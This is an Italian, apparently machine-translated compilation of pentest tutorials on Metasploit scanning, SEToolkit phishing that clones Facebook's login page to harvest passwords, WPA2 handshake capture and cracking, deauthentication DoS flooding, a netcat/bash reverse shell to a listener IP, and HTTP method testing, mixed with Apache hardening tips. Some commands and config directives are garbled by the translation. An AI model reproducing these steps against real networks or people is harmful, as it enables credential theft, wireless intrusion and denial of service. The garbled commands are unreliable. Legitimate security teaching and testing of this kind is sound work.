Oltre alla sua capacità di utilizzare scanner di terze parti, Metasploit ha diversi port scanner integrati nei suoi moduli ausiliari che si integrano direttamente con la maggior parte degli aspetti del Framework.

Ad esempio, supponi di compromettere un sistema protetto da un firewall che utilizza NAT (Network Address Translation). Il sistema dietro il firewall basato su NAT utilizza indirizzi IP privati, che non è possibile contattare direttamente da Internet. Se utilizzi Metasploit per compromettere un sistema dietro un NAT, potresti essere in grado di utilizzare quel sistema interno compromesso per passare il traffico (pivot) a sistemi ospitati internamente e basati su IP privati ​​per penetrare nella rete oltre il firewall.

Vediamo come possiamo utilizzare Metasploit per la scansione delle porte di base . Per avviare Metasploit Framework, puoi digitare " msfconsole " nella finestra del terminale.

Per visualizzare l'elenco degli strumenti di scansione delle porte offerti da Metasploit Framework, immetti il ​​seguente comando nel tuo terminale:

Comando: cerca portscan

Per utilizzare il modulo TCP SYN Port Scanner, digitare " use ausiliario/scanner/portscan/syn " nello stesso terminale.

Digita " show options " per vedere tutte le opzioni disponibili sotto il modulo portscan.

Qui puoi vedere che il campo RHOSTS è vuoto e puoi impostarlo facilmente digitando " set RHOSTS 192.168.179.129 ". Gli scanner e la maggior parte degli altri moduli ausiliari utilizzano l' opzione RHOSTS invece di RHOST .

RHOSTS può anche prendere

Per impostazione predefinita, tutti i moduli scanner avranno il valore THREADS impostato su " 1 ". Il valore THREADS imposta il numero di thread simultanei da utilizzare durante la scansione. Per impostare il valore di Thread, basta digitare " Set THREADS 10 " nello stesso terminale sotto il modulo ausiliario (syn).

Ora possiamo digitare il comando " run " e possiamo vedere i risultati nell'immagine qui sotto:

Possiamo vedere che i moduli scanner integrati di Metasploit sono più che in grado di trovare sistemi e porte aperte per noi. È solo un altro eccellente strumento da avere nel tuo arsenale se ti capita di eseguire Metasploit su un sistema senza Nmap installato.

Possiamo vedere che alcune porte comuni sono aperte sull'host remoto come le porte 135 , 139 e 445. Questo ci dà anche un'indicazione per il sistema operativo del target. È sicuramente Windows perché le porte 139 e 445 appartengono al servizio netbios negli ambienti Windows.

Per la scansione TCP, puoi utilizzare il modulo " usa ausiliario/scanner/portscan/tcp ".

Possiamo vedere che abbiamo opzioni leggermente diverse dallo scanner SYN. ​​Ad esempio, possiamo impostare una stringa di filtro per l'acquisizione del traffico o possiamo elaborare un file di acquisizione di pacchetti. Per vedere tutte le opzioni, digita " mostra opzioni " nello stesso terminale.

Per TCP Scan, abbiamo impostato i seguenti parametri:

Digita  il comando run per vedere tutti i risultati.

Conclusione:

SEToolkit – Attacco raccoglitore di credenziali [Tutorial]

   

In qualità di penetration tester, ci saranno momenti in cui il cliente richiederà di eseguire attacchi di ingegneria sociale contro i propri dipendenti per verificare se seguono le politiche e i controlli di sicurezza dell'azienda. Dopotutto, se un utente malintenzionato non riesce ad accedere a un sistema, potrebbe provare modi alternativi come attacchi di social engineering.

In questo articolo vedremo come utilizzare il Credential Harvester Attack Vector del Social Engineering Toolkit per ottenere password valide.

La prima cosa che dobbiamo fare è collegare il nostro laptop alla rete dell'azienda di cui abbiamo bisogno per eseguire l'attacco di ingegneria sociale. Quando il nostro sistema ottiene un indirizzo IP valido dal loro server DHCP, siamo pronti per lanciare l'attacco.

Per avviare SEToolkit, basta digitare " setoolkit " nella finestra del terminale.

La nostra scelta saremo i vettori di attacco del sito Web perché, come indica lo scenario, dobbiamo testare quanto sono vulnerabili i dipendenti del nostro cliente rispetto agli attacchi di phishing .

Useremo il Credential Harvester Attack Method perché vogliamo ottenere le credenziali degli utenti.

Come possiamo vedere nella prossima immagine SET ci offre 3 opzioni ( Web Templates , Site Cloner e Custom Import ).

Per questo esempio andremo con l'opzione " Modelli Web " perché ha alcuni modelli Web già pronti che possiamo facilmente utilizzare.

Ora dobbiamo inserire il nostro indirizzo IP dove desideri ricevere tutte le richieste POST back.

E nell'ultima fase, devi scegliere il modello Web e, in questo caso, abbiamo selezionato Facebook perché è una delle piattaforme di social network più popolari.

Ora è il momento di inviare il nostro IP interno agli utenti sotto forma di un sito Web (come http://192.168.179.160 ). Questo può essere implementato tramite e-mail contraffatte che faranno finta di provenire da Facebook e chiederanno agli utenti per accedere per qualche motivo.

Se un utente legge l'e-mail e fa clic sul nostro collegamento (che è il nostro indirizzo IP), vedrà la pagina di accesso di Facebook.

Vediamo cosa succederà se la vittima inserisce le sue credenziali...

Come possiamo vedere dal momento in cui la vittima invierà le proprie credenziali nel falso sito SET ci invierà il suo indirizzo Email e la sua password. Ciò significa che il nostro metodo di attacco ha avuto successo.

Se molti utenti inseriscono le proprie credenziali nel nostro sito Web fasullo, è il momento di informare il nostro cliente di rivalutare la sua politica di sicurezza e di fornire misure aggiuntive contro questo tipo di attacchi.

Conclusione -

Apache Server Hardening – Kali Linux  

   

Il server Web Apache è un software straordinario. Il pacchetto di base distribuito dalla Apache Software Foundation è abbastanza completo e molto potente, e sono stati fatti molti sforzi per evitare che soffrisse di problemi software. Un aspetto del pacchetto lo rende particolarmente notevole: include l'estensibilità per progettazione.

Apache è oggi il web server dominante su Internet, occupando un posto chiave nell'infrastruttura di Internet. Apache detiene più del doppio della quota di mercato rispetto al suo prossimo concorrente, Microsoft. Questo non è solo perché è freeware e non costa nulla.

È anche open source, il che significa che il codice sorgente può essere esaminato da chiunque ne sia incline. Se ci sono errori, migliaia di paia di occhi lo scansionano alla ricerca di errori. A causa di questo costante esame da parte di estranei, è sostanzialmente più affidabile di qualsiasi prodotto software commerciale che può fare affidamento solo sul controllo di un elenco chiuso di dipendenti. Questo è particolarmente importante nel campo della sicurezza, dove errori apparentemente banali possono avere conseguenze orribili.

Per disabilitare la firma del server Web Apache –

Per disabilitare la firma del server web di Apache, modifica il seguente file e incorpora il seguente codice come da screenshot qui sotto.

Nome file – /etc/apache2/apache2.conf

Codice -

ServerSignature Off
ServerTokens Prod

Per nascondere la versione PHP –

Per nascondere la versione di PHP, basta modificare il file php.ini e disattivare la variabile d'ambiente chiamata " esporre_php " come da screenshot qui sotto.

Nome file – /etc/php/7.0/apache2/php.ini

Codice –  esporre_php = Off

Per disabilitare la navigazione nella directory a livello globale:

Per disabilitare la navigazione nella directory, esegui il seguente comando nel tuo e non dimenticare di riavviare il tuo server Apache.

Comando: sudo a2dismod autoindex

Per proteggere la directory principale –

Per proteggere la directory principale, è necessario decommentare le righe seguenti nel file " /etc/apache2/conf-enabled/security.conf "  come da screenshot sottostante;

E aggiungi il seguente pezzo di codice nello stesso file, ad esempio " /etc/apache2/conf-enabled/security.conf ".

<Directory /var/www/html>
Opzioni Nessuno
Consenti Sostituisci tutto
Ordine Consenti,Nega
Consenti da tutti
</Directory>

Per disabilitare SSLv2 e SSLv3 –

Per disabilitare SSL 2.0 e SSL 3.0 e assicurarsi che vengano utilizzati i protocolli TLS più potenti; modificare il seguente file " /etc/apache2/mods-available/ssl.conf " e modificare SSLProtocol in:

Codice: SSLProtocol -all +TLSv1

Per disabilitare le cifrature deboli:

È ancora molto importante disabilitare le cifre deboli quando si utilizza SSL. Per disabilitarlo, basta modificare il codice SSLCipherSuite come da codice e screenshot seguenti:

Codice:  SSLCipherSuite HIGH:!MEDIUM:!aNULL:!MD5:!RC4

Limita i metodi HTTP –

I metodi HTTP svolgono sempre un ruolo importante nella sicurezza del sito Web, specialmente quando parliamo di GET e POST. Per disabilitare i metodi HTTP, puoi utilizzare l'approccio della whitelist o l'approccio della blacklist.

Nel codice seguente, consentiamo solo i 3 metodi, ovvero GET, POST e HEAD nel seguente file:

File: /etc/apache2/mods-available/userdir.conf

Imposta cookie con flag HttpOnly e Secure –

Per impostare i parametri dei cookie, è necessario eseguire il seguente comando nel terminale.

Comando: intestazioni sudo a2enmod

Non dimenticare di riavviare il tuo server web Apache digitando " systemctl restart apache2 "

Inoltre, è necessario aggiungere anche il seguente codice nello stesso file security.conf in " /etc/apache2/conf-available/security.conf "

Codice:  Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure

Prevenire gli attacchi di clickjacking –

Per impedire al tuo sito web di attacchi di clickjacking, devi solo aggiungere il seguente codice nello stesso file security.conf che abbiamo usato sopra per impostare i valori dei cookie.

Codice:  l'intestazione aggiunge sempre X-Frame-Options SAMEORIGIN

Per la protezione XSS (Cross Site Scripting) –

Un modo è disinfettare la variabile prima di passare alla query SQL che in realtà ti dà la protezione XSS dall'essere violato/attaccato e insieme devi aggiungere il valore X-XSS-Protection Header a 1 aggiungendo il seguente codice in " / etc/apache2/conf-available/security.conf ”.

Codice:  Header set X-XSS-Protezione “1; modalità=blocco”

Applicare HSTS (connessioni sicure al server) –

Per applicare HSTS, devi solo impostare il valore Strict-Transport-Security Header che include tutti i tuoi domini e sottodomini.

Codice:  l'intestazione è sempre impostata su Strict-Transport-Security “max-age=31536000; includeSottodomini”

Protezione da sniffing MIME –

Per questo, è necessario abilitare il seguente codice dal file /apache2/conf-available/security.conf e inserire nosniff come valore.

Codice:  set di intestazioni X-Content-Type-Options: "nosniff"

Prevenire XSS e altre iniezioni –

Per impedire altre iniezioni diverse da XSS, è inoltre necessario impostare l'intestazione Content-Security-Policy aggiungendo la seguente parte di codice nel file " /etc/apache2/conf-available/security.conf ".

Codice:  set di intestazioni Content-Security-Policy "default-src 'self';"

Diminuisci valore di timeout –

È necessario ridurre il valore di timeout a 60 da 300.

E, ultimo ma non meno importante, non dimenticare di riavviare il tuo server Apache digitando " service apache2 restart " nel tuo stesso server di cui puoi facilmente vedere lo stato del servizio digitando il seguente comando nello screenshot sottostante.

Nello screenshot qui sotto, puoi facilmente vedere tutti i valori di intestazione che abbiamo impostato nel nostro server web locale Apache nella macchina Kali Linux.

Crack WPA2-PSK con Aircrack - Metodo di attacco del dizionario

   

WPA/WPA2 migliora notevolmente la sicurezza delle reti wireless; tuttavia, la protezione aggiuntiva ha il prezzo di una maggiore complessità del protocollo. Sebbene WPA sia stato sviluppato pensando alla sicurezza, ha i suoi difetti di cui possiamo trarre vantaggio.

Ad alto livello, gli attacchi WPA possono essere suddivisi in due categorie:

Gli attacchi di autenticazione sono i più comuni e consentono l'accesso diretto alla rete wireless. Quando attacca l'autenticazione WPA-PSK, l'aggressore ha anche la possibilità di decrittografare/crittografare il traffico poiché il PMK viene ripristinato.

Gli attacchi di crittografia stanno appena emergendo contro le reti WPA. Questi attacchi offrono la possibilità di decrittografare/crittografare il traffico, ma non consentono all'attaccante di accedere completamente alla rete come utente legittimo.

Oggi, in questo articolo parleremo di un semplice attacco con dizionario a forza bruta con l'aiuto dello strumento Aircrack che è già stato installato su tutte le versioni di Kali Linux.

Quindi il primo passo è connettere il tuo adattatore wireless USB alla tua macchina virtuale Kali Linux che puoi facilmente confermare/controllare digitando " iwconfig " nel tuo terminale.

Come puoi vedere l'output di " iwconfig ", ora viene mostrata un'interfaccia wireless denominata " wlan0 ", significa che l'adattatore wireless USB è collegato e funzionante.

Ora il prossimo passo è mettere la tua interfaccia wireless in modalità monitor in modo che possa essere in grado di catturare/iniettare pacchetti.

Per iniziare, digita " airmon-ng start wlan0 " nel tuo stesso terminale.

Ora puoi vedere che una modalità monitor è stata abilitata sulla stessa scheda wireless con il nuovo nome " wlan0mon " che useremo ulteriormente per la scansione e lo sfruttamento.

Ora digita " airodump-ng wlan0mon " per vedere tutte le reti vicine al tuo dispositivo / scheda con tutte le migliori informazioni possibili che abbiamo richiesto come BSSID, Channel No, Enc Type, ESSID (nome della rete wireless) ecc.

Qui nella schermata sottostante, andremo con la prima rete il cui nome è " Chetan Soni " e il loro BSSID è " C4:F0:81:A1:0C:99 " e il canale no è 9 con il tipo di crittografia è WPA2-PSK.

BSSID (Base Service Set Identifier) ​​non è altro che l'indirizzo mac del tuo dispositivo.

Ora il prossimo passo è catturare i pacchetti con l'aiuto del pacchetto Airodump-ng che è di nuovo preinstallato nella tua macchina Kali Linux.

Per acquisire un handshake a 4 vie perché WPA/WPA2 utilizza un  handshake a 4 vie  per autenticare i dispositivi sulla rete. Non devi sapere nulla di cosa significhi, ma devi catturare una di queste strette di mano per decifrare la password di rete.

Queste strette di mano si verificano ogni volta che un dispositivo si connette alla rete, ad esempio quando il tuo vicino torna a casa dal lavoro.

Per acquisire l'handshake a 4 vie, digita semplicemente il comando seguente nel tuo nuovo terminale.

airodump-ng -c <Numero canale> –bssid <Indirizzo Mac> -w <Nome file> wlan0mon

Nel nostro caso, Channel No è ​​9 e BSSID è " C4:F0:81:A1:0C:99 "  e il nome del file per catturare i pacchetti è "        ".

Dovresti vedere l'output simile alla schermata sottostante. Ora qui puoi vedere nell'angolo in alto a destra dello schermo sottostante, non c'è stretta di mano quindi per ottenere il valore di stretta di mano istantaneamente, il modo migliore è inviare il segnale di deautenticazione alla rete wireless wrt alla stazione in modo che l'utente si ricolleghi automaticamente.

Per Deauthentication, useremo il pacchetto Aireplay-ng che puoi trovare facilmente sulla tua macchina Kali Linux e il comando per inviare pacchetti deauth è –

aireplay-ng -0 2 -a <ID BSSID> -c <ID stazione> wlan0mon

Qui  -a  sta per l'indirizzo BSSID del target,  -c  sta per l'indirizzo della stazione e -0 è il n. di pacchetti deauth.

Una volta catturata la stretta di mano, premi CTRL + C per uscire  da airodump-ng . Dovresti vedere un  file .cap  ovunque tu abbia detto ad airodump-ng di salvare l'acquisizione (quindi probabilmente       -01.cap ).

Useremo questo file di acquisizione per decifrare la password di rete.

Come abbiamo già discusso di tanti modi per violare la rete wireless WPA2-PSK , ora useremo un semplice metodo del dizionario di forza bruta con l'aiuto del pacchetto Aircrack-ng, uno dei più popolari strumenti di cracking wireless.

To Crack con Aircrack-ng, digitare

aircrack-ng -a2 -b <BSSID> -w <Wordlist> Nomefile.cap

Qui, -a è la tua modalità di attacco, 1 è per WEP e 2 è per WPA/WPA2.

Se la password è presente nel tuo elenco di parole definito, allora aircrack-ng la mostrerà in questo modo:


Il modo più efficace per prevenire gli attacchi WPA-PSK/WPA2-PSK è scegliere una buona passphrase ed evitare TKIP ove possibile. Inutile dire che le parole del dizionario sono fuori. Inoltre, la maggior parte dei sistemi operativi non ti obbliga a digitare la password ogni volta, quindi non sentirti troppo male nel far ricordare agli utenti lunghe stringhe casuali. Devono solo ricordarlo per tutto il tempo necessario per digitarlo una volta. Come sempre, non fa mai male cambiare regolarmente la passphrase.

Un altro buon deterrente è scegliere un SSID univoco. Se il tuo SSID è D-LINK, molto probabilmente qualcuno ha già calcolato una tabella hash per il tuo SSID. Stai lontano dagli SSID predefiniti o considera di aggiungere una serie casuale di numeri alla fine.

Infine, anche se un utente malintenzionato ottiene il PMK, deve acquisire la stretta di mano in modo da poter derivare il tuo PTK. La maggior parte degli aggressori ottiene questo risultato trasmettendo un pacchetto di deautenticazione alla vittima proprio come abbiamo fatto noi. Sebbene non sia ancora una difesa molto praticabile (poiché gli autori di sistemi operativi/driver non includono la funzionalità), la capacità di ignorare i pacchetti di deautenticazione sarebbe un ulteriore ostacolo da superare per un utente malintenzionato.

Sottodominio Bruteforcing con SubBrute

   

SubBrute è uno dei più popolari strumenti di forzatura bruta dei sottodomini attraverso il quale possiamo facilmente enumerare i migliori sottodomini possibili di qualsiasi dominio insieme a tutti i record DNS.

È uno degli strumenti di enumerazione di sottodomini più veloci basato sul linguaggio Python.

La cosa migliore di SubBrute è che utilizza i resolver aperti come una sorta di proxy per aggirare la limitazione della velocità DNS e non invia il traffico direttamente ai server dei nomi del target. Più di 2.000 nameserver di alta qualità sono stati aggiunti a resolvers.txt , questi server risolveranno più query in meno di 1 secondo.

Per installare SubBrute , puoi utilizzare direttamente il seguente comando:

Comando: git clone https://github.com/TheRook/subbrute.git

Per utilizzare questo strumento basta aprire il terminale e digitare “ python subbrute.py google.com ”

Per salvare l'output in un file, è possibile utilizzare il parametro -o seguito dal nome del file in cui si desidera salvare l'output/risultato.

Reverse Shell tra due macchine Linux

   

Oggi ti mostreremo come creare una shell inversa di qualsiasi macchina Linux.

In questo scenario, stiamo usando due VM basate su Linux, una è Kali Linux (  .2) e l'altra è Backtrack Linux (5r3).

Cos'è la shell inversa -

Di solito quando si effettua una connessione TCP/IP tra due macchine, un server sta gestendo la connessione e un altro cosiddetto client sta tentando di stabilire la connessione.

Dove puoi usare Reverse Shell –

Pensa solo legalmente che vuoi aiutare un amico ma non ha un server con tutti i port forwarding ecc. Quindi non puoi connetterti alla sua macchina, quindi puoi effettivamente usare Reverse Shell in modo da poter ottenere il TCP / IP inverso connessione dalla macchina del tuo amico con accesso root completo.

Non pensare illegalmente 🙂

Ora useremo Netcat sul lato server, cioè su BT Machine. Netcat è un'utilità di rete gratuita utilizzata per leggere/scrivere dai socket TCP e UDP.

Passaggio 1: il primo passaggio consiste nel mettere la macchina in modalità di ascolto con l'aiuto del seguente comando:

Comando: nc -l -vv -p 1337

Qui, -l sta per Listen mode, -vv sta per verbose mode e -p sta per la porta usata per il server.

Una volta che il comando è stato avviato nella tua macchina BT, dovrebbe assomigliare a questo:

Passaggio 2: ora vai sul lato client, ovvero Kali Linux Machine che desideri controllare dal tuo terminale. Qui reindirizzeremo l'i/o/e standard del client bash al server con l'aiuto del comando bash:

Comando: bash -i &> /dev/tcp/192.168.179.139/1337 0>&1

Qui bash -i sta per Interactive bash, &> /dev/tcp/<IP>/<PORT> sta per reindirizzare l'output standard e l'errore di bash al server e 0>&1 significa collegare l'input standard di bash a Il risultato.

Qui entrambe le macchine sono connesse alla stessa rete tramite la modalità NAT, quindi utilizzeremo il nostro IP locale.

Non appena tu o il tuo amico eseguite il comando sopra nella sua macchina Linux, vi connetterete a quella macchina e potrete controllare completamente la sua macchina tramite il terminale della shell.

Attacco DOS wireless con script Bash – Attacco di deautenticazione

   

Come abbiamo discusso in precedenza, il modo in cui effettivamente deautenticiamo un dispositivo wireless con l'aiuto del pacchetto di strumenti aircrack-ng inondando una rete con pacchetti deautenticati.

Per deautenticare qualsiasi dispositivo/router/client wireless, è molto semplice eseguire l'attacco tramite la riga di comando, ma se si desidera inondare la rete in blocco o in loop, è necessario scrivere uno script personalizzato in Bash per questa particolare situazione.

Passaggio 1:  nel primo passaggio, è necessario verificare se la scheda wireless è connessa o meno alla macchina virtuale Kali Linux e per questo digitare " iwconfig " nel terminale.

Passaggio 2: ora metti l'adattatore wireless in modalità monitor digitando " airmon-ng start wlan0 " che mette effettivamente l'adattatore in modalità promiscua.

Come puoi vedere, la tua modalità monitor è stata abilitata con il nome dell'interfaccia " wlan0mon ".

Passaggio 3: ora è necessario acquisire tutto il traffico vicino alla scheda wireless in modo da poter ottenere tutte le informazioni come indirizzo Mac, informazioni sul canale, tipo di crittografia ecc. Di tutte le reti wireless, perché per la deautenticazione è sufficiente l'indirizzo Mac di il tuo obiettivo.

Per avviare la scansione, digita " airodump-ng wlan0mon " nel tuo stesso terminale.

Qui BSSID sta per Base Service Set Identifier e ESSID sta per Extended Service Set Identifier.

Quindi abbiamo ottenuto l'indirizzo Mac del target dal passaggio precedente che è " C4: F0: 81: A1: 0C: 99 ".

Passaggio 4: per la deautenticazione, è necessario utilizzare lo stesso comando, ovvero aireplay-ng , di cui abbiamo già discusso in precedenza.

In questo caso, hai due opzioni, o puoi scaricare direttamente lo script da Github Repository oppure puoi facilmente creare il file bash personalizzato con l'aiuto di qualsiasi editor come Gedit/Leafpad/Vi/Vim ecc. e sostituire l'indirizzo mac con l'indirizzo mac del tuo obiettivo nella riga n. 6.

Questo semplice script fa quanto segue.

Per scaricare lo script bash da Github, puoi utilizzare il seguente comando:

Comando: git clone https://github.com/      /wifidos.git

Passaggio 5:  ora prima di eseguire questo script, è necessario modificare le autorizzazioni digitando " chmod 755 wifidos ".

Passaggio 6 –  Quindi è tutto pronto! Per eseguire lo script basta digitare “ ./wifidos ” che avvia immediatamente il flooding dei pacchetti al rispettivo AP.

Nel peggiore dei casi, se mostra qualsiasi tipo di errore relativo al canale, è necessario avviare il dispositivo wireless in un determinato canale digitando " airmon-ng start wlan0 6 ".

Quindi qui puoi vedere che, in una frazione di secondo, la rete è stata disconnessa, il che si traduce in Wireless DOS Attack.

Non dimenticare di cambiare il tuo indirizzo Mac prima di lanciare un attacco di deautenticazione.

Imposta la grafica del testo ASCII nell'intestazione del terminale di Kali Linux

   

Kali Linux è la distribuzione di sicurezza del disco live più recente rilasciata da Offensive Security. L'ultima versione, ovvero Kali Linux   .3 , include oltre 600 strumenti di sicurezza e test di penetrazione, classificati in gruppi utili utilizzati più spesso dai tester di penetrazione e da altri che valutano i sistemi informativi. A differenza delle precedenti distribuzioni rilasciate da Offensive Security, Kali Linux utilizza la distribuzione Debian come base.

Oggi ti mostreremo come impostare una grafica di testo ASCII nell'intestazione del terminale di Kali Linux.

Fondamentalmente è necessario installare una piccola utility chiamata Figlet che è già disponibile in tutti i repository Debian.

Collegamento Github –  https://github.com/cmatsuoka/figlet

FIGlet stampa il suo input utilizzando caratteri grandi (chiamati "caratteri FIG") costituiti da normali caratteri dello schermo (chiamati "caratteri secondari"). L'output di FIGlet ricorda generalmente il tipo di "firme" che molte persone amano mettere alla fine dei messaggi di posta elettronica.

Aggiungere la seguente riga di codice in fondo al file sources.list che si trova nella directory /etc/apt/ .

Codice – deb http://http.us.debian.org/debian stable main contrib non-free

Quindi torna al terminale e digita " apt-get update " e segui tutte le istruzioni.

Non appena l'aggiornamento è stato completato, digitare " apt-get install figlet " per installare il pacchetto figlet.

Dopo l'installazione completa di figlet, modifica il file /root/.bashrc e incorpora il tuo contenuto personalizzato nel formato sottostante come
" figlet <Your Name> " nella parte inferiore del file come mostrato di seguito:

Puoi utilizzare qualsiasi editor per modificare il file sopra come Vi, Vim, Leafpad, Gedit ecc.

Per vedere il risultato basta aprire il nuovo terminale.

Metti alla prova la velocità di caricamento del tuo sito web con Curl e Httpstat in Kali Linux

   

In questo articolo, tratteremo due metodi attraverso i quali puoi facilmente testare la velocità di caricamento del tuo sito web e alcuni altri fattori di prestazioni come il tempo di ricerca, il tempo di connessione, il tempo di pre-trasferimento e il tempo di avvio del trasferimento.

Per iniziare con il primo metodo, utilizzeremo il comando CURL che è uno dei migliori strumenti per trasferire dati da o verso un server, utilizzando uno dei protocolli supportati (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP , IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET e TFTP). Il comando è progettato per funzionare senza l'interazione dell'utente.

Per siti Web HTTP – ( Visualizza codice )

Comando: curl -s -w 'Tempo di risposta del sito Web per:%{url_effect}\n\nTempo di ricerca:\t\t%{time_namelookup}\nTempo di connessione:\t\t%{time_connect}\nTempo di pre-trasferimento:\ t%{time_pretransfer}\nOra di inizio trasferimento:\t%{time_starttransfer}\n\nTempo totale:\t\t%{time_total}\n' -o /dev/null http://www.google.com

Per siti Web HTTPS – ( Visualizza codice )

Comando: curl -s -w 'Tempo di risposta del sito Web per:%{url_effect}\n\nTempo di ricerca:\t\t%{time_namelookup}\nTempo di connessione:\t\t%{time_connect}\nTempo AppCon:\t\ t%{time_appconnect}\nOra reindirizzamento:\t\t%{time_redirect}\nOra pre-trasferimento:\t%{time_pretransfer}\nOra inizio trasferimento:\t%{time_starttransfer}\n\nTempo totale:\t\ t%{time_total}\n' -o /dev/null https://www.    

Come puoi vedere, la sintassi del comando sopra è troppo lunga e molto difficile da ricordare, quindi puoi anche usare il metodo sopra con un modo semplice in cui devi solo creare un file " content.txt " e incorporare il seguente contenuto in salvarlo.

Codice: ( Visualizza codice )

Tempo di risposta del sito web per :%{url_effect}\n\nTempo di ricerca:\t\t%{time_namelookup}\nTempo di connessione:\t\t%{time_connect}\nTempo pre-trasferimento:\t%{time_pretransfer}\nInizio- Tempo di trasferimento:\t%{time_starttransfer}\n\nTempo totale:\t\t%{time_total}\n

Ora esegui il seguente comando nel tuo terminale Linux.

Comando: curl -s -w “@content.txt” -o /dev/null https://www.    

Curl offre anche un carico di trucchi utili come supporto proxy, autenticazione utente, caricamento FTP, post HTTP, connessioni SSL, cookie, ripristino del trasferimento di file, Metalink e altro.

Il secondo metodo è con  lo strumento HTTPSTAT che è uno script Python a file singolo che non ha dipendenze ed è completamente compatibile con Python 3.

Esistono molti modi per installare questo strumento:

Per utilizzare Httpstat, digitare " python httpstat.py https://www.     / "

Puoi vedere nell'immagine sopra una tabella ASCII che mostra quanto tempo ha impiegato ogni processo, e per me il passaggio più importante è "l'elaborazione del server".

Con l'aiuto di Httpstat, puoi facilmente testare le prestazioni del tuo sito Web e ottimizzarlo in base alle tue esigenze.

Metodi di test per HTTPS con OpenSSL, Curl e Nmap

   

Se stai usando il protocollo HTTP per navigare in Internet, di solito usi solo due dei suoi metodi, cioè GET e POST. Tuttavia HTTP ha una serie di altri metodi come OPTIONS, TRACE, CONNECT, PUT e DELETE che sono molto rischiosi se tutti questi metodi HTTP sono aperti nel tuo server web.

Secondo RFC 2616, esistono 8 metodi HTTP per HTTP 1.1, in particolare OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE e CONNECT, e questo set può essere esteso.

Esistono anche metodi HTTP estesi come l'authoring e il controllo delle versioni della distribuzione basati sul Web (DAV). WEBDAV può essere utilizzato dai client per pubblicare contenuti Web e coinvolge una serie di altri metodi HTTP come PROPFIND, MOVE, COPY, LOCK, UNLOCK e MKCOL .

Come tutti sappiamo, per testare i metodi per i siti Web HTTP, ci sono molti strumenti come NC, Curl, Nmap, BurpSuite, Telnet ecc. Ma per i siti Web SSL, questo non funzionerà affatto.

Oggi discuteremo i migliori 3 metodi attraverso i quali puoi testare facilmente metodi/servizi per siti Web basati su SSL.

  1. Con OpenSSL
  2. Con RICCIOLO
  3. Con NMAP

Leggi anche:  Rilevamento e sfruttamento della vulnerabilità Heartbleed OpenSSL utilizzando NMAP e METASPLOIT

1. Prova con OpenSSL –

Lo strumento da riga di comando OpenSSL può essere utilizzato per diversi scopi come la creazione di certificati, la visualizzazione di certificati e il test di servizi/connettività https, ecc.

Il seguente comando può essere utilizzato per testare la connettività a un servizio https.

Comando: openssl s_client -connect example.com:443

Fondamentalmente l'attributo s_client viene utilizzato per eseguire il debug dei server SSL.

Link di riferimento – https://ping.force.com/Support/PingIdentityArticle?id=kA3400000008RYSCA2

Questo aprirà una connessione SSL a example.com con la porta 443 e stamperà il certificato SSL utilizzato dal servizio. Dopo la connessione è possibile inviare manualmente richieste http. È simile all'utilizzo di telnet per connettersi a un servizio http e inviare manualmente una richiesta http, ad esempio GET, OPTIONS o TRACE.

OPZIONI / Host HTTP/1.1
: example.com

Premi Invio due volte:

2. Prova con CURL –

CURL è un'altra utile utility attraverso la quale è possibile testare tutti i metodi sia per i siti Web http che https. Il curl installato di default in Debian supporta HTTPS da molto tempo.

Per HTTP –

Comando: curl -i -X ​​OPZIONI http://example.com/

Per HTTPS –

Comando: curl –insecure -i -X ​​OPZIONI https://example.com/

Link di riferimento –  https://curl.haxx.se/

Puoi anche usare -v invece di -i per vedere più output.

3. Test con NMAP –

Un altro metodo per verificare quali metodi HTTP sono abilitati consiste nell'usare uno script NMAP chiamato http-methods.nse , che può essere ottenuto da  https://nmap.org/nsedoc/scripts/http-methods.html . Questo script è utile quando è necessario controllare più destinazioni o porte.

Comando: nmap –script http-methods -p443 –script-args http-methods.url-path='/page' example.com

Link di riferimento –  https://nmap.org/nsedoc/scripts/http-methods.html

Leggi anche:  5 libri considerati i "migliori libri su Nmap mai scritti"

Apache implementa tutti i metodi HTTP pertinenti per il contenuto statico (file effettivi serviti direttamente da Apache). Per il contenuto dinamico, Apache non si preoccupa di quale sia il metodo HTTP (a meno che non sia esplicitamente limitato con una direttiva <Limit>) e passa la richiesta al gestore appropriato così com'è.

Prossimo protocollo HTTP/2 –

HTTP/2 è il primo importante aggiornamento del protocollo HTTP in oltre 15 anni. I siti Web sono cambiati radicalmente, con il numero di immagini esterne, CSS e risorse JavaScript in crescita di anno in anno.

Per verificare se il tuo sito/server supporta HTTP/2 o meno, visita https://tools.keycdn.com/http2-test

Per i test HTTP, puoi utilizzare un proxy, come Burp Suite o Zap , e seguire i passaggi seguenti:

Se la risposta HTTP contiene 200 OK, significa che quel particolare metodo OPTIONS è abilitato su quel server web.

Sfruttamento del metodo HTTP PUT: test di penetrazione in tempo reale

   

In questo articolo sfrutteremo la vulnerabilità del metodo HTTP PUT su uno dei server Web Metasploitable2 attraverso il quale è possibile caricare facilmente qualsiasi file dannoso sul server e ottenere l'accesso dell'intero server Web nella shell meterpreter.

Nell'ultimo articolo, abbiamo già imparato come testare i metodi HTTP con Curl, Nmap e OpenSSL . Se il metodo HTTP PUT è abilitato sul server web, può essere utilizzato per caricare una risorsa specificata sul server di destinazione, come una web shell o un malware.

Requisiti di base -

HEAD, GET, POST, CONNECT: questi metodi sono completamente sicuri, almeno per quanto riguarda il metodo HTTP stesso. Ovviamente, la richiesta stessa potrebbe avere parametri dannosi, ma questo è separato dal metodo, questi sono in genere gli unici che dovrebbero essere abilitati.

PUT, DELETE: questi metodi erano originariamente intesi come operazioni di gestione dei file. Alcuni server web li supportano ancora nel loro formato originale. Cioè, puoi modificare o eliminare file dal file system del server, arbitrariamente.

OPZIONI – si tratta di un metodo diagnostico, che restituisce un messaggio utile principalmente per il debug o per verificare quali metodi sono attivi sul webserver.

TRACE – questo è quello sorprendente, ancora una volta, un metodo diagnostico che restituisce nel corpo della risposta, l'intera richiesta HTTP. Ciò include il corpo della richiesta, ma anche le intestazioni della richiesta, inclusi ad esempio cookie, intestazioni di autorizzazione e altro.

Iniziamo -

La forma più semplice e basilare per identificare i server HTTP consiste nell'esaminare il campo Server nell'intestazione della risposta HTTP . Utilizzando un client TCP come Netcat, è possibile inviare una richiesta HTTP per restituire l'intestazione della risposta HTTP del server.

